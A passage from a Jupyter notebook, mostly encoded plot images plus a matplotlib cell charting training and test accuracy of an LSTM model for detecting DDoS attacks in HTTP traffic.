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\n", 365 | "text/plain": [ 366 | "
" 367 | ] 368 | }, 369 | "metadata": {}, 370 | "output_type": "display_data" 371 | } 372 | ], 373 | "source": [ 374 | "\n", 375 | "plt.plot(history.history['accuracy'])\n", 376 | "plt.plot(history.history['val_accuracy'])\n", 377 | "plt.title('LSTM model For DDoS detection HTTP traffic')\n", 378 | "plt.ylabel('Accuracy')\n", 379 | "plt.xlabel('Epoch')\n", 380 | "plt.legend(['Train', 'Test'], loc='lower right')\n", 381 | "\n", 382 | "plt.show()" 383 | ] 384 | }, 385 | { 386 | "cell_type": "code", 387 | "execution_count": 22, 388 | "id": "60fe2ad7", 389 | "metadata": {}, 390 | "outputs": [ 391 | { 392 | "data": { 393 | "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYoAAAEXCAYAAACzhgONAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuNCwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8QVMy6AAAACXBIWXMAAAsTAAALEwEAmpwYAABPtElEQVR4nO3dd3wVVf7/8dfM3HtzUwkJKUBCD4Ri6AKhSJHeURRFxQLK6q6Kq6i7Kq5iQ1n8revqd22rKyIWikHaKihIQm+hJyCQUJJAaKm3zPz+CEQiyU0hNzfl83w8duXOPTPzvhPI586ZmXMUwzAMhBBCiBKong4ghBCiepNCIYQQwiUpFEIIIVySQiGEEMIlKRRCCCFckkIhhBDCJZOnAwjPSE1NZfTo0ezYsaPY9z/44AOWLVuGYRjouk7fvn2ZMWMGeXl53H333QDk5OSQlpZG8+bNAYiNjaV///7cc889jBs3jjfeeKPINu+++2727NlT7D4HDhyI2WzGarViGAaGYTBixAimTZuGyWRi06ZNTJs2rXBfuq5Tv359pk+fTmxsbKmf9/Dhw7zxxhucOnUKgHr16vH444/TrVu3a9refffdTJ48mWHDhpW63YpIS0vjscce48svvyzzOps2beLll19m2bJlRZY/88wzREVF0bZt28LjfebMGZxOJ2FhYQA89NBD/N///R9Q8s/syrFVFAXDMNA0jT/+8Y8MHDjwmhzX83N47rnnmDRpEh06dCjzZy+LS5cu8cgjj/DZZ59V6nbFZYaok1JSUoxOnToV+97y5cuN2267zcjNzTUMwzDy8vKMBx980Jg7d26Rdhs3bjRGjhx5zbLevXsb3bt3N3JycgqXp6amGr179y5xnwMGDDB2795d+Do7O9v4wx/+YLz00ksl7mv//v1GbGyssXPnzlI/74gRI4zVq1cXvt68ebPRpUsX49y5c9e0veuuu4wVK1aUus2qVNznNwzDePrpp40PP/ywyLJ//OMfxt/+9rcyb6ekY9upUyfj7NmzZWpb1p/D73/OlcXV32dx/aTrSVwjIyMDp9NJXl4eAF5eXjz//PPcfPPNZVo/MDCQrl278sMPPxQuW7JkCaNHjy5zBh8fH1544QUWLlxIVlZWsW2io6O5++67+c9//gPA6dOnmT59OqNHj2bUqFF8+OGHRT5TTk5O4evu3bvz9ttvo2mayxw//PAD48aNY8yYMdxxxx3s3r0bKDhDmTRpEhMmTGD8+PHMnz/f5fKrpaam0rlzZwDeeecdnnnmGR544AGGDRvGlClTSE9PL/Nxcpfo6GisVisnTpwoU9urfw47d+5k8uTJTJw4kf79+/OXv